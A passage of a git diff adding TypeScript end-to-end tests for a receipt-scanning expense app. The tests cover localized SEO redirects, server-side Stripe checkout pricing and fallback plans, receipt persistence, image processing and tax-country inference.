test("English slug under /de/ redirects to the German keyword URL", () => {
|
||||
expect(decideSeoLocalePath("/de/blog/simple-expense-tracking")).toEqual({
|
||||
kind: "redirect",
|
||||
pathname: "/de/blog/einfache-ausgabenverfolgung",
|
||||
});
|
||||
expect(decideSeoLocalePath("/de/ocr-receipt-scanner")).toEqual({
|
||||
kind: "redirect",
|
||||
pathname: "/de/beleg-ocr",
|
||||
});
|
||||
});
|
||||
|
||||
test("German slug under /en/ redirects to the English URL", () => {
|
||||
expect(decideSeoLocalePath("/en/blog/einfache-ausgabenverfolgung")).toEqual({
|
||||
kind: "redirect",
|
||||
pathname: "/en/blog/simple-expense-tracking",
|
||||
});
|
||||
});
|
||||
|
||||
test("correct English public slugs pass through", () => {
|
||||
expect(decideSeoLocalePath("/en/blog/simple-expense-tracking")).toEqual({
|
||||
kind: "none",
|
||||
});
|
||||
expect(decideSeoLocalePath("/en/ocr-receipt-scanner")).toEqual({ kind: "none" });
|
||||
});
|
||||
|
||||
test("homepage and blog index are untouched", () => {
|
||||
expect(decideSeoLocalePath("/de")).toEqual({ kind: "none" });
|
||||
expect(decideSeoLocalePath("/en")).toEqual({ kind: "none" });
|
||||
expect(decideSeoLocalePath("/de/blog")).toEqual({ kind: "none" });
|
||||
expect(decideSeoLocalePath("/en/blog")).toEqual({ kind: "none" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("SEO slugs — language switch", () => {
|
||||
test("maps the sibling locale slug instead of only swapping /en and /de", () => {
|
||||
expect(localizePathname("/en/blog/simple-expense-tracking", "de")).toBe(
|
||||
"/de/blog/einfache-ausgabenverfolgung",
|
||||
);
|
||||
expect(localizePathname("/de/blog/einfache-ausgabenverfolgung", "en")).toBe(
|
||||
"/en/blog/simple-expense-tracking",
|
||||
);
|
||||
expect(localizePathname("/de", "en")).toBe("/en");
|
||||
expect(localizePathname("/en/blog", "de")).toBe("/de/blog");
|
||||
});
|
||||
});
|
||||
148
tests/e2e/server_pricing.test.ts
Normal file
148
tests/e2e/server_pricing.test.ts
Normal file
@@ -0,0 +1,148 @@
|
||||
/**
|
||||
* Server Pricing Suite
|
||||
*
|
||||
* The server — never the client — decides what a plan costs. These tests pin
|
||||
* the pure checkout builder against the shared price catalog (src/lib/billing/
|
||||
* pricing.ts): bogus plans fall back to annual, the catalog amounts (499 /
|
||||
* 3999 / 5999) are used verbatim when no Stripe Price ID is configured, and an
|
||||
* env Price ID wins when present. No real Stripe calls are made.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import { buildCheckoutParams } from "../../src/lib/billing/checkout";
|
||||
import { PLAN_CONFIGS } from "../../src/lib/billing/pricing";
|
||||
|
||||
const user = { id: "usr_test_checkout_1" };
|
||||
|
||||
describe("ServerPricing — plan resolution", () => {
|
||||
test("unknown or missing plans fall back to annual", () => {
|
||||
expect(buildCheckoutParams(user, "enterprise-ultra", {}).metadata.plan).toBe("annual");
|
||||
expect(buildCheckoutParams(user, undefined, {}).metadata.plan).toBe("annual");
|
||||
expect(buildCheckoutParams(user, null, {}).metadata.plan).toBe("annual");
|
||||
expect(buildCheckoutParams(user, "", {}).metadata.plan).toBe("annual");
|
||||
});
|
||||
|
||||
test("a bogus plan is charged the annual price, never an invented one", () => {
|
||||
const params = buildCheckoutParams(user, "FREE_FOREVER", {});
|
||||
expect(params.metadata.plan).toBe("annual");
|
||||
expect(params.lineItems[0].price_data?.unit_amount).toBe(PLAN_CONFIGS.annual.unitAmountMinor);
|
||||
expect(params.lineItems[0].price_data?.unit_amount).toBe(3999);
|
||||
});
|
||||
|
||||
test("known plan ids resolve to themselves", () => {
|
||||
expect(buildCheckoutParams(user, "weekly", {}).metadata.plan).toBe("weekly");
|
||||
expect(buildCheckoutParams(user, "annual", {}).metadata.plan).toBe("annual");
|
||||
expect(buildCheckoutParams(user, "lifetime", {}).metadata.plan).toBe("lifetime");
|
||||
});
|
||||
});
|
||||
|
||||
describe("ServerPricing — catalog amounts", () => {
|
||||
test("without an env Price ID, unit_amount is exactly the catalog value per plan", () => {
|
||||
expect(buildCheckoutParams(user, "weekly", {}).lineItems[0].price_data?.unit_amount).toBe(499);
|
||||
expect(buildCheckoutParams(user, "annual", {}).lineItems[0].price_data?.unit_amount).toBe(3999);
|
||||
expect(buildCheckoutParams(user, "lifetime", {}).lineItems[0].price_data?.unit_amount).toBe(5999);
|
||||
});
|
||||
|
||||
test("the amounts stay pinned to PLAN_CONFIGS and never drift apart", () => {
|
||||
expect(buildCheckoutParams(user, "weekly", {}).lineItems[0].price_data?.unit_amount).toBe(
|
||||
PLAN_CONFIGS.weekly.unitAmountMinor
|
||||
);
|
||||
expect(buildCheckoutParams(user, "annual", {}).lineItems[0].price_data?.unit_amount).toBe(
|
||||
PLAN_CONFIGS.annual.unitAmountMinor
|
||||
);
|
||||
expect(buildCheckoutParams(user, "lifetime", {}).lineItems[0].price_data?.unit_amount).toBe(
|
||||
PLAN_CONFIGS.lifetime.unitAmountMinor
|
||||
);
|
||||
});
|
||||
|
||||
test("a client-supplied amount cannot influence the charged price", () => {
|
||||
// The builder accepts no amount parameter; the body can only carry a plan
|
||||
// id, so the catalog amount is what gets charged no matter what else a
|
||||
// tampered request tries to inject.
|
||||
const params = buildCheckoutParams(user, "annual", {} as any);
|
||||
expect(params.lineItems[0].price_data?.unit_amount).toBe(PLAN_CONFIGS.annual.unitAmountMinor);
|
||||
expect(params.lineItems[0].price_data?.unit_amount).toBe(3999);
|
||||
});
|
||||
});
|
||||
|
||||
describe("ServerPricing — env Price ID precedence", () => {
|
||||
test("a configured env Price ID wins and suppresses price_data entirely", () => {
|
||||
const weekly = buildCheckoutParams(user, "weekly", {
|
||||
STRIPE_WEEKLY_PRICE_ID: "price_weekly_test",
|
||||
});
|
||||
expect(weekly.lineItems[0].price).toBe("price_weekly_test");
|
||||
expect(weekly.lineItems[0].price_data).toBeUndefined();
|
||||
|
||||
const annual = buildCheckoutParams(user, "annual", {
|
||||
STRIPE_ANNUAL_PRICE_ID: "price_annual_test",
|
||||
});
|
||||
expect(annual.lineItems[0].price).toBe("price_annual_test");
|
||||
expect(annual.lineItems[0].price_data).toBeUndefined();
|
||||
|
||||
const lifetime = buildCheckoutParams(user, "lifetime", {
|
||||
STRIPE_LIFETIME_PRICE_ID: "price_lifetime_test",
|
||||
});
|
||||
expect(lifetime.lineItems[0].price).toBe("price_lifetime_test");
|
||||
expect(lifetime.lineItems[0].price_data).toBeUndefined();
|
||||
});
|
||||
|
||||
test("the env Price ID comes from the plan's own catalog entry", () => {
|
||||
const weekly = buildCheckoutParams(user, "weekly", {
|
||||
[PLAN_CONFIGS.weekly.priceIdEnv]: "price_weekly_test",
|
||||
});
|
||||
expect(weekly.lineItems[0].price).toBe("price_weekly_test");
|
||||
expect(weekly.lineItems[0].price_data).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("ServerPricing — subscription shape", () => {
|
||||
test("weekly is a subscription with a 3-day trial and weekly billing", () => {
|
||||
const params = buildCheckoutParams(user, "weekly", {});
|
||||
expect(params.mode).toBe("subscription");
|
||||
expect(params.subscriptionData?.trial_period_days).toBe(3);
|
||||
expect(params.subscriptionData?.metadata?.plan).toBe("weekly");
|
||||
expect(params.lineItems[0].price_data?.recurring?.interval).toBe("week");
|
||||
});
|
||||
|
||||
test("annual is a subscription billed yearly, without any trial", () => {
|
||||
const params = buildCheckoutParams(user, "annual", {});
|
||||
expect(params.mode).toBe("subscription");
|
||||
expect(params.subscriptionData?.trial_period_days).toBeUndefined();
|
||||
expect(params.subscriptionData?.metadata?.plan).toBe("annual");
|
||||
expect(params.lineItems[0].price_data?.recurring?.interval).toBe("year");
|
||||
});
|
||||
|
||||
test("lifetime is a one-off payment without subscription data", () => {
|
||||
const params = buildCheckoutParams(user, "lifetime", {});
|
||||
expect(params.mode).toBe("payment");
|
||||
expect(params.subscriptionData).toBeUndefined();
|
||||
expect(params.lineItems[0].price_data?.recurring).toBeUndefined();
|
||||
});
|
||||
|
||||
test("only the weekly pass ever carries a trial", () => {
|
||||
const plans = ["weekly", "annual", "lifetime"] as const;
|
||||
for (const plan of plans) {
|
||||
const params = buildCheckoutParams(user, plan, {});
|
||||
const trial = params.subscriptionData?.trial_period_days;
|
||||
expect(trial).toBe(plan === "weekly" ? 3 : undefined);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("ServerPricing — metadata & reference", () => {
|
||||
test("metadata always carries the resolved plan and the user id", () => {
|
||||
for (const plan of ["weekly", "annual", "lifetime"]) {
|
||||
const params = buildCheckoutParams(user, plan, {});
|
||||
expect(params.metadata.plan).toBe(plan);
|
||||
expect(params.metadata.userId).toBe(user.id);
|
||||
expect(params.clientReferenceId).toBe(user.id);
|
||||
}
|
||||
});
|
||||
|
||||
test("the fallback plan keeps the authenticated user's id attached", () => {
|
||||
const params = buildCheckoutParams(user, "hacker-plan", {});
|
||||
expect(params.metadata.plan).toBe("annual");
|
||||
expect(params.metadata.userId).toBe(user.id);
|
||||
expect(params.clientReferenceId).toBe(user.id);
|
||||
});
|
||||
});
|
||||
200
tests/e2e/sprint_a_scanner.test.ts
Normal file
200
tests/e2e/sprint_a_scanner.test.ts
Normal file
@@ -0,0 +1,200 @@
|
||||
/**
|
||||
* Sprint A: scanner robustness — persistence blob, imageHash length,
|
||||
* scan error mapping, file-size constants.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import { DocumentReadError, UnsupportedFileTypeError } from "../../src/lib/ingest/acceptedTypes";
|
||||
import { SANITIZE_LIMITS, sanitizeReceipt } from "../../src/lib/ingest/sanitize";
|
||||
import {
|
||||
IMAGE_HASH_MAX_LENGTH,
|
||||
dbRowToProcessedReceipt,
|
||||
pageImageHash,
|
||||
toExtractionJson,
|
||||
} from "../../src/lib/storage/receiptRow";
|
||||
import { jsonForScanError } from "../../src/lib/http/scanErrors";
|
||||
import { processReceiptDocument } from "../../src/lib/image/processor";
|
||||
import { HEIC_DECODE_ERROR_MESSAGE } from "../../src/lib/image/heic";
|
||||
import { MAX_RECEIPTS_JSON_BYTES, MAX_UPLOAD_BYTES, MAX_UPLOAD_MB } from "../../src/lib/limits";
|
||||
import { PENDING_VALIDATION, ProcessedReceipt } from "../../src/lib/schema/receipt";
|
||||
|
||||
function sampleReceipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
id: "rcpt_sprint_a",
|
||||
merchant: {
|
||||
name: "Trattoria Bella Vista",
|
||||
address: "Marktplatz 12, 10115 Berlin",
|
||||
taxId: "DE987654321",
|
||||
confidence: 0.92,
|
||||
},
|
||||
date: { isoDate: "2026-08-12", time: "20:15", confidence: 0.91 },
|
||||
documentType: "BEWIRTUNGSBELEG",
|
||||
receiptNumber: "TR-44201",
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 31.8, confidence: 0.96 },
|
||||
netAmount: 26.72,
|
||||
tipAmount: 5,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 5.08, netAmount: 26.72 }],
|
||||
lineItems: [{ description: "Pasta", quantity: 1, price: 31.8, taxRate: 19 }],
|
||||
suggestedCategory: "Bewirtung",
|
||||
hospitality: { occasion: "Geschäftsesen", participants: "Müller, Schmidt" },
|
||||
validation: { ...PENDING_VALIDATION },
|
||||
imageHash: "a".repeat(64) + "_p1",
|
||||
originalFileName: "bewirtung.jpg",
|
||||
fileSizeBytes: 2048,
|
||||
previewUrl: "data:image/jpeg;base64,abc",
|
||||
createdAt: "2026-08-12T10:00:00.000Z",
|
||||
updatedAt: "2026-08-12T10:00:00.000Z",
|
||||
status: "ready",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("Sprint A — Dateigrößen", () => {
|
||||
test("Upload-Limit ist 10 MB", () => {
|
||||
expect(MAX_UPLOAD_MB).toBe(10);
|
||||
expect(MAX_UPLOAD_BYTES).toBe(10 * 1024 * 1024);
|
||||
});
|
||||
|
||||
test("Receipts-JSON-Limit fasst eine max-große Preview", () => {
|
||||
expect(MAX_RECEIPTS_JSON_BYTES).toBeGreaterThan(SANITIZE_LIMITS.previewUrl);
|
||||
expect(MAX_RECEIPTS_JSON_BYTES).toBeGreaterThan(5 * 1024 * 1024);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint A — imageHash", () => {
|
||||
test("Sanitize-Limit und DB-Limit sind 128", () => {
|
||||
expect(SANITIZE_LIMITS.imageHash).toBe(128);
|
||||
expect(IMAGE_HASH_MAX_LENGTH).toBe(128);
|
||||
});
|
||||
|
||||
test("Mehrseiten-Hash (SHA-256 + _p20) bleibt unter 128 und wird akzeptiert", () => {
|
||||
const hash = pageImageHash("a".repeat(64), 20, 20);
|
||||
expect(hash.length).toBe(68);
|
||||
expect(hash.length).toBeLessThanOrEqual(IMAGE_HASH_MAX_LENGTH);
|
||||
const sanitized = sanitizeReceipt(sampleReceipt({ imageHash: hash }));
|
||||
expect(sanitized).not.toBeNull();
|
||||
expect(sanitized!.imageHash).toBe(hash);
|
||||
});
|
||||
|
||||
test("Einzelseite behält den reinen SHA-256", () => {
|
||||
const source = "b".repeat(64);
|
||||
expect(pageImageHash(source, 1, 1)).toBe(source);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint A — extraction_json", () => {
|
||||
test("toExtractionJson entfernt die Preview, behält Adresse/Tax-ID/Zeit/Hospitality", () => {
|
||||
const blob = toExtractionJson(sampleReceipt());
|
||||
expect(blob.previewUrl).toBeUndefined();
|
||||
expect((blob.merchant as ProcessedReceipt["merchant"]).address).toBe("Marktplatz 12, 10115 Berlin");
|
||||
expect((blob.merchant as ProcessedReceipt["merchant"]).taxId).toBe("DE987654321");
|
||||
expect((blob.date as ProcessedReceipt["date"]).time).toBe("20:15");
|
||||
expect((blob.hospitality as ProcessedReceipt["hospitality"])?.occasion).toBe("Geschäftsesen");
|
||||
expect(blob.originalFileName).toBe("bewirtung.jpg");
|
||||
expect((blob.merchant as ProcessedReceipt["merchant"]).confidence).toBe(0.92);
|
||||
});
|
||||
|
||||
test("GET rekonstruiert Felder aus extraction_json statt sie zu nullen", () => {
|
||||
const original = sampleReceipt();
|
||||
const row = {
|
||||
id: original.id,
|
||||
projectId: null,
|
||||
imageHash: original.imageHash,
|
||||
storageUrl: "data:image/avif;base64,preview",
|
||||
merchantName: original.merchant.name,
|
||||
receiptDate: original.date.isoDate,
|
||||
receiptNumber: original.receiptNumber,
|
||||
documentType: original.documentType,
|
||||
category: original.suggestedCategory,
|
||||
currency: original.currency,
|
||||
totalAmount: "31.80",
|
||||
netAmount: "26.72",
|
||||
tipAmount: "5.00",
|
||||
taxBreakdownJson: original.taxBreakdown,
|
||||
lineItemsJson: original.lineItems,
|
||||
validationJson: original.validation,
|
||||
rawOcrText: null,
|
||||
paymentMethod: null,
|
||||
isMathValid: true,
|
||||
needsReview: false,
|
||||
createdAt: new Date(original.createdAt),
|
||||
updatedAt: new Date(original.updatedAt),
|
||||
extractionJson: toExtractionJson(original),
|
||||
};
|
||||
|
||||
const restored = dbRowToProcessedReceipt(row);
|
||||
expect(restored.merchant.address).toBe("Marktplatz 12, 10115 Berlin");
|
||||
expect(restored.merchant.taxId).toBe("DE987654321");
|
||||
expect(restored.merchant.confidence).toBe(0.92);
|
||||
expect(restored.date.time).toBe("20:15");
|
||||
expect(restored.date.confidence).toBe(0.91);
|
||||
expect(restored.hospitality?.participants).toBe("Müller, Schmidt");
|
||||
expect(restored.originalFileName).toBe("bewirtung.jpg");
|
||||
expect(restored.fileSizeBytes).toBe(2048);
|
||||
expect(restored.previewUrl).toBe("data:image/avif;base64,preview");
|
||||
expect(restored.tipAmount).toBe(5);
|
||||
});
|
||||
|
||||
test("Altdatensätze ohne extraction_json bleiben lesbar", () => {
|
||||
const restored = dbRowToProcessedReceipt({
|
||||
id: "legacy",
|
||||
projectId: null,
|
||||
imageHash: "c".repeat(64),
|
||||
storageUrl: null,
|
||||
merchantName: "REWE",
|
||||
receiptDate: "2026-01-01",
|
||||
receiptNumber: null,
|
||||
documentType: "KASSENBON",
|
||||
category: "Sonstiges",
|
||||
currency: "EUR",
|
||||
totalAmount: "10.00",
|
||||
netAmount: null,
|
||||
tipAmount: null,
|
||||
taxBreakdownJson: [],
|
||||
lineItemsJson: [],
|
||||
validationJson: null,
|
||||
rawOcrText: null,
|
||||
paymentMethod: null,
|
||||
isMathValid: true,
|
||||
needsReview: false,
|
||||
createdAt: new Date("2026-01-01T00:00:00.000Z"),
|
||||
updatedAt: new Date("2026-01-01T00:00:00.000Z"),
|
||||
});
|
||||
expect(restored.merchant.name).toBe("REWE");
|
||||
expect(restored.merchant.address).toBeNull();
|
||||
expect(restored.totalAmount.value).toBe(10);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint A — DocumentReadError", () => {
|
||||
test("DocumentReadError wird als 422 mit der echten Meldung gemeldet", async () => {
|
||||
const res = jsonForScanError(new DocumentReadError("Das PDF konnte nicht gelesen werden."));
|
||||
expect(res.status).toBe(422);
|
||||
const body = await res.json();
|
||||
expect(body.error).toBe("Das PDF konnte nicht gelesen werden.");
|
||||
});
|
||||
|
||||
test("UnsupportedFileTypeError bleibt 415", async () => {
|
||||
const res = jsonForScanError(new UnsupportedFileTypeError("Dateityp nicht erlaubt.", "gif"));
|
||||
expect(res.status).toBe(415);
|
||||
});
|
||||
|
||||
test("unbekannte Fehler bleiben 500 ohne interne Details", async () => {
|
||||
const res = jsonForScanError(new Error("ECONNRESET from OpenRouter"));
|
||||
expect(res.status).toBe(500);
|
||||
const body = await res.json();
|
||||
expect(body.error).toBe("Fehler bei der Belegverarbeitung");
|
||||
});
|
||||
|
||||
test("kaputtes HEIC wird als DocumentReadError abgelehnt, nicht als unbekannter Typ", async () => {
|
||||
const fakeHeic = Buffer.from("\x00\x00\x00\x18ftypheic\x00\x00\x00\x00", "latin1");
|
||||
try {
|
||||
await processReceiptDocument(fakeHeic, "image/heic");
|
||||
throw new Error("expected DocumentReadError");
|
||||
} catch (err) {
|
||||
expect(err).toBeInstanceOf(DocumentReadError);
|
||||
expect((err as DocumentReadError).message).toBe(HEIC_DECODE_ERROR_MESSAGE);
|
||||
}
|
||||
});
|
||||
});
|
||||
97
tests/e2e/sprint_b_speed.test.ts
Normal file
97
tests/e2e/sprint_b_speed.test.ts
Normal file
@@ -0,0 +1,97 @@
|
||||
/**
|
||||
* Sprint B: scanner speed — client prepare, vision page pick, reasoning
|
||||
* retry policy, provider timeout constant, PDF raster target.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import {
|
||||
AI_IMAGE_LONG_EDGE_PX,
|
||||
MAX_VISION_PAGES,
|
||||
selectVisionPages,
|
||||
} from "../../src/lib/image/processor";
|
||||
import { prepareUploadFile, CLIENT_UPLOAD_SKIP_BELOW_BYTES } from "../../src/lib/image/prepareUpload";
|
||||
import {
|
||||
PROVIDER_TIMEOUT_MS,
|
||||
isRateLimitError,
|
||||
shouldRetryWithReasoning,
|
||||
} from "../../src/lib/ai/extractor";
|
||||
import { PENDING_VALIDATION, ReceiptData } from "../../src/lib/schema/receipt";
|
||||
|
||||
function receipt(mathValid: boolean): ReceiptData {
|
||||
return {
|
||||
merchant: { name: "REWE", address: null, taxId: null, confidence: 0.97 },
|
||||
date: { isoDate: "2026-08-12", time: null, confidence: 0.95 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: null,
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 11.9, confidence: 0.98 },
|
||||
netAmount: 10.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.9, netAmount: 10.0 }],
|
||||
lineItems: [],
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: { ...PENDING_VALIDATION, isMathValid: mathValid },
|
||||
};
|
||||
}
|
||||
|
||||
describe("Sprint B — Vision-Seiten", () => {
|
||||
test("kurze Dokumente behalten alle Seiten", () => {
|
||||
expect(selectVisionPages([1, 2, 3])).toEqual([1, 2, 3]);
|
||||
expect(selectVisionPages([1, 2, 3, 4, 5, 6, 7, 8])).toEqual([1, 2, 3, 4, 5, 6, 7, 8]);
|
||||
});
|
||||
|
||||
test("lange Dokumente: erste 6 + letzte 2, ohne Duplikate", () => {
|
||||
const pages = Array.from({ length: 20 }, (_, i) => i + 1);
|
||||
expect(selectVisionPages(pages)).toEqual([1, 2, 3, 4, 5, 6, 19, 20]);
|
||||
expect(selectVisionPages(pages).length).toBeLessThanOrEqual(MAX_VISION_PAGES);
|
||||
});
|
||||
|
||||
test("7 Seiten überlappen sich nicht doppelt", () => {
|
||||
expect(selectVisionPages([1, 2, 3, 4, 5, 6, 7])).toEqual([1, 2, 3, 4, 5, 6, 7]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint B — Reasoning on-demand", () => {
|
||||
test("Math-Fehler löst Reasoning-Retry aus", () => {
|
||||
expect(shouldRetryWithReasoning(receipt(false))).toBe(true);
|
||||
});
|
||||
|
||||
test("valide Math braucht kein Reasoning", () => {
|
||||
expect(shouldRetryWithReasoning(receipt(true))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint B — Rate-Limit & Timeout", () => {
|
||||
test("429 wird als retryable erkannt", () => {
|
||||
expect(isRateLimitError({ status: 429, message: "Too Many Requests" })).toBe(true);
|
||||
expect(isRateLimitError(new Error("HTTP 429 rate_limit"))).toBe(true);
|
||||
expect(isRateLimitError(new Error("timeout"))).toBe(false);
|
||||
});
|
||||
|
||||
test("Provider-Timeout ist 12s", () => {
|
||||
expect(PROVIDER_TIMEOUT_MS).toBe(12_000);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint B — Bildpipeline", () => {
|
||||
test("PDF-Raster und AI-JPEG teilen die 1536px-Kante", () => {
|
||||
expect(AI_IMAGE_LONG_EDGE_PX).toBe(1536);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint B — Client-Prepare", () => {
|
||||
test("PDF bleibt unverändert", async () => {
|
||||
const pdf = new File([new Uint8Array([0x25, 0x50, 0x44, 0x46])], "invoice.pdf", {
|
||||
type: "application/pdf",
|
||||
});
|
||||
const out = await prepareUploadFile(pdf);
|
||||
expect(out).toBe(pdf);
|
||||
});
|
||||
|
||||
test("kleine JPEGs unter dem Skip-Limit bleiben unverändert", async () => {
|
||||
const bytes = new Uint8Array(Math.min(1024, CLIENT_UPLOAD_SKIP_BELOW_BYTES));
|
||||
const file = new File([bytes], "tiny.jpg", { type: "image/jpeg" });
|
||||
Object.defineProperty(file, "size", { value: 12_000 });
|
||||
const out = await prepareUploadFile(file);
|
||||
expect(out).toBe(file);
|
||||
});
|
||||
});
|
||||
115
tests/e2e/sprint_c_image.test.ts
Normal file
115
tests/e2e/sprint_c_image.test.ts
Normal file
@@ -0,0 +1,115 @@
|
||||
/**
|
||||
* Sprint C: image quality — min width, contrast gate, crop box, deskew.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import {
|
||||
AI_IMAGE_LONG_EDGE_PX,
|
||||
AI_IMAGE_MIN_WIDTH_PX,
|
||||
computeReceiptResize,
|
||||
} from "../../src/lib/image/resize";
|
||||
import {
|
||||
contentBoundingBox,
|
||||
estimateSkewDegrees,
|
||||
needsContrastBoost,
|
||||
} from "../../src/lib/image/enhance";
|
||||
import { processReceiptImage } from "../../src/lib/image/processor";
|
||||
|
||||
describe("Sprint C — Mindestbreite", () => {
|
||||
test("Querformat bleibt am 1536-Long-Edge", () => {
|
||||
const out = computeReceiptResize(2000, 1400);
|
||||
expect(out.width).toBe(1536);
|
||||
expect(out.height).toBe(1075);
|
||||
});
|
||||
|
||||
test("quadratische kleine Fotos werden nicht hochskaliert", () => {
|
||||
expect(computeReceiptResize(400, 400)).toEqual({ width: 400, height: 400 });
|
||||
});
|
||||
|
||||
test("hoher Thermobon wird breiter als bei reinem Long-Edge-Cap", () => {
|
||||
const srcW = 800;
|
||||
const srcH = 3500;
|
||||
const longEdgeOnlyW = Math.round(srcW * (AI_IMAGE_LONG_EDGE_PX / srcH));
|
||||
const out = computeReceiptResize(srcW, srcH);
|
||||
expect(longEdgeOnlyW).toBeLessThan(400);
|
||||
expect(out.width).toBeGreaterThan(longEdgeOnlyW);
|
||||
expect(out.width).toBeGreaterThanOrEqual(650);
|
||||
expect(Math.max(out.width, out.height)).toBeLessThanOrEqual(4096);
|
||||
});
|
||||
|
||||
test("Min-Width-Konstante ist 1100", () => {
|
||||
expect(AI_IMAGE_MIN_WIDTH_PX).toBe(1100);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint C — Kontrast", () => {
|
||||
test("verwaschenes Thermobild (niedrige Stdev) bekommt Boost", () => {
|
||||
expect(
|
||||
needsContrastBoost({
|
||||
channels: [{ mean: 170, stdev: 12, min: 140, max: 200 }],
|
||||
})
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
test("farbstarkes Foto bekommt keinen Boost", () => {
|
||||
expect(
|
||||
needsContrastBoost({
|
||||
channels: [
|
||||
{ mean: 90, stdev: 55, min: 10, max: 240 },
|
||||
{ mean: 100, stdev: 60, min: 8, max: 250 },
|
||||
{ mean: 80, stdev: 50, min: 5, max: 230 },
|
||||
],
|
||||
})
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint C — Crop", () => {
|
||||
test("dunkles Rechteck auf weißem Grund wird als Inhalt erkannt", () => {
|
||||
const w = 80;
|
||||
const h = 80;
|
||||
const data = new Uint8Array(w * h).fill(250);
|
||||
for (let y = 18; y < 62; y++) {
|
||||
for (let x = 16; x < 64; x++) {
|
||||
data[y * w + x] = 20;
|
||||
}
|
||||
}
|
||||
const box = contentBoundingBox(data, w, h);
|
||||
expect(box).not.toBeNull();
|
||||
expect(box!.left).toBeLessThanOrEqual(16);
|
||||
expect(box!.top).toBeLessThanOrEqual(18);
|
||||
expect(box!.left + box!.width).toBeGreaterThanOrEqual(64);
|
||||
expect(box!.top + box!.height).toBeGreaterThanOrEqual(62);
|
||||
});
|
||||
|
||||
test("einfarbiges Bild wird nicht beschnitten", () => {
|
||||
const data = new Uint8Array(40 * 40).fill(200);
|
||||
expect(contentBoundingBox(data, 40, 40)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint C — Deskew", () => {
|
||||
test("waagerechte Textzeilen → Winkel ~ 0", () => {
|
||||
const w = 64;
|
||||
const h = 80;
|
||||
const data = new Uint8Array(w * h);
|
||||
for (let y = 0; y < h; y++) {
|
||||
const dark = y % 8 < 3;
|
||||
data.fill(dark ? 15 : 230, y * w, y * w + w);
|
||||
}
|
||||
expect(Math.abs(estimateSkewDegrees(data, w, h))).toBeLessThan(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint C — Pipeline", () => {
|
||||
test("1×1-PNG überlebt Deskew/Crop/Resize", async () => {
|
||||
const png = Buffer.from(
|
||||
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==",
|
||||
"base64"
|
||||
);
|
||||
const result = await processReceiptImage(png, "image/png");
|
||||
expect(result.mimeType).toBe("image/jpeg");
|
||||
expect(result.width).toBeGreaterThan(0);
|
||||
expect(result.height).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
||||
241
tests/e2e/sprint_e.test.ts
Normal file
241
tests/e2e/sprint_e.test.ts
Normal file
@@ -0,0 +1,241 @@
|
||||
/**
|
||||
* Sprint E: tax jurisdiction, date parsing, payment method,
|
||||
* bounding-box honesty, leftover product fixes.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import { PENDING_VALIDATION, ReceiptData } from "../../src/lib/schema/receipt";
|
||||
import { reconcileAndEnhanceReceiptData } from "../../src/lib/ai/extractor";
|
||||
import {
|
||||
inferTaxCountry,
|
||||
resolveTaxRatePercent,
|
||||
snapVatRate,
|
||||
} from "../../src/lib/tax/rates";
|
||||
import { parseReceiptDate } from "../../src/lib/parse/receiptDate";
|
||||
import { normalizePaymentMethod } from "../../src/lib/parse/paymentMethod";
|
||||
import { hasExtractedBoundingBoxes } from "../../src/lib/utils/boundingBoxes";
|
||||
import {
|
||||
parseTaxRatePercent,
|
||||
taxTotalsByRate,
|
||||
} from "../../src/components/dashboard/receiptFormat";
|
||||
import { sanitizeExtractionOutput } from "../../src/lib/ai/promptInjection";
|
||||
|
||||
function receipt(overrides: Partial<ReceiptData> = {}): ReceiptData {
|
||||
return {
|
||||
merchant: { name: "Shop", address: null, taxId: null, confidence: 0.9 },
|
||||
date: { isoDate: "2026-08-12", time: null, confidence: 0.9 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: null,
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 119, confidence: 0.9 },
|
||||
netAmount: 100,
|
||||
taxBreakdown: [],
|
||||
lineItems: [],
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: { ...PENDING_VALIDATION },
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("Sprint E — Steuerland", () => {
|
||||
test("ATU / Wien → AT, CHE / Zürich → CH, DE → DE, USD → OTHER", () => {
|
||||
expect(inferTaxCountry({ taxId: "ATU12345678", currency: "EUR" })).toBe("AT");
|
||||
expect(inferTaxCountry({ address: "Kärntner Straße 1, Wien", currency: "EUR" })).toBe("AT");
|
||||
expect(inferTaxCountry({ taxId: "CHE-123.456.789 MWST", currency: "CHF" })).toBe("CH");
|
||||
expect(inferTaxCountry({ currency: "CHF" })).toBe("CH");
|
||||
expect(inferTaxCountry({ taxId: "DE123456789", currency: "EUR" })).toBe("DE");
|
||||
